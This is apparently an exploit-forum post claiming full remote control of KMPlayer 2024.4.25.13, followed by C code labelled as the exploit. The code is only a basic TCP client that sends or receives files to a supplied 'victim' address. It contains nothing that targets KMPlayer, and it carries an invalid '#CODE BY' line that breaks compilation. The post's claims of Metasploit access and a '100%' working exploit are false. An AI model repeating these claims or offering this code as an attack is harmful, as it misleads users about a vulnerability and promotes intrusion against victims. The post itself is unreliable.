Get full remote control of KMPlayer 2024.4.25.13
and gives the hacker access to the victim's IP in Metasploit
And the hacker can send and receive files
And the exploit works 100%
exploit code :
and gives the hacker access to the victim's IP in Metasploit
And the hacker can send and receive files
And the exploit works 100%
exploit code :
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#CODE BY E1.Coders
#define BUFFER_SIZE 1024
int main(int argc, char *argv[]) {
if (argc != 3) {
fprintf(stderr, "Usage: %s <victim_ip> <victim_port>\n", argv[0]);
return 1;
}
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("socket");
return 1;
}
struct sockaddr_in server_addr;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(atoi(argv[2]));
if (inet_pton(AF_INET, argv[1], &server_addr.sin_addr) <= 0) {
perror("inet_pton");
close(sock);
return 1;
}
if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("connect");
close(sock);
return 1;
}
char buffer[BUFFER_SIZE];
ssize_t bytes_read, bytes_written;
while (1) {
printf("Enter command (send <filename> or receive <filename>): ");
fgets(buffer, BUFFER_SIZE, stdin);
buffer[strcspn(buffer, "\n")] = '\0';
if (strncmp(buffer, "send ", 5) == 0) {
char *filename = buffer + 5;
FILE *file = fopen(filename, "rb");
if (file == NULL) {
perror("fopen");
continue;
}
bytes_written = write(sock, filename, strlen(filename) + 1);
if (bytes_written < 0) {
perror("write");
fclose(file);
continue;
}
while ((bytes_read = fread(buffer, 1, BUFFER_SIZE, file)) > 0) {
bytes_written = write(sock, buffer, bytes_read);
if (bytes_written < 0) {
perror("write");
fclose(file);
break;
}
}
fclose(file);
} else if (strncmp(buffer, "receive ", 8) == 0) {
char *filename = buffer + 8;
FILE *file = fopen(filename, "wb");
if (file == NULL) {
perror("fopen");
continue;
}
bytes_read = read(sock, buffer, BUFFER_SIZE);
if (bytes_read < 0) {
perror("read");
fclose(file);
continue;
}
while (bytes_read > 0) {
fwrite(buffer, 1, bytes_read, file);
bytes_read = read(sock, buffer, BUFFER_SIZE);
if (bytes_read < 0) {
perror("read");
fclose(file);
break;
}
}
fclose(file);
} else {
fprintf(stderr, "Invalid command\n");
}
}
close(sock);
return 0;
}